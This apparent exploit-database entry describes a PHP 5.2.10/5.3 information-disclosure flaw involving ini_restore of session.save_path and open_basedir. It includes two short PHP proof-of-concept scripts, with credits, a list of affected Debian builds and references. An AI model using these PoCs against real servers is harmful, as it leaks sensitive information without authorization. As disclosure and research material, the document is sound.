47 lines
No EOL
931 B
Text
47 lines
No EOL
931 B
Text
Credit/Author:
|
|
Maksymilian Arciemowicz from SecurityReason
|
|
|
|
Vulnerable:
|
|
PHP PHP 5.3
|
|
PHP PHP 5.2.10
|
|
Debian Linux 5.0 sparc
|
|
Debian Linux 5.0 s/390
|
|
Debian Linux 5.0 powerpc
|
|
Debian Linux 5.0 mipsel
|
|
Debian Linux 5.0 mips
|
|
Debian Linux 5.0 m68k
|
|
Debian Linux 5.0 ia-64
|
|
Debian Linux 5.0 ia-32
|
|
Debian Linux 5.0 hppa
|
|
Debian Linux 5.0 armel
|
|
Debian Linux 5.0 arm
|
|
Debian Linux 5.0 amd64
|
|
Debian Linux 5.0 alpha
|
|
Debian Linux 5.0
|
|
|
|
References:
|
|
https://www.securityfocus.com/bid/36009/info
|
|
http://securityreason.com/achievement_securityalert/65
|
|
|
|
Description:
|
|
PHP is prone to an information-disclosure vulnerability.
|
|
Attackers can exploit this issue to obtain sensitive information that may lead to further attacks
|
|
|
|
POC 1:
|
|
<?php
|
|
|
|
ini_set("session.save_path", "0123456789ABCDEF");
|
|
ini_restore("session.save_path");
|
|
session_start();
|
|
?>
|
|
|
|
POC 2:
|
|
<?php
|
|
ini_set("open_basedir", "A");
|
|
ini_restore("open_basedir");
|
|
ini_get("open_basedir");
|
|
|
|
|
|
include("B");
|
|
|
|
?> |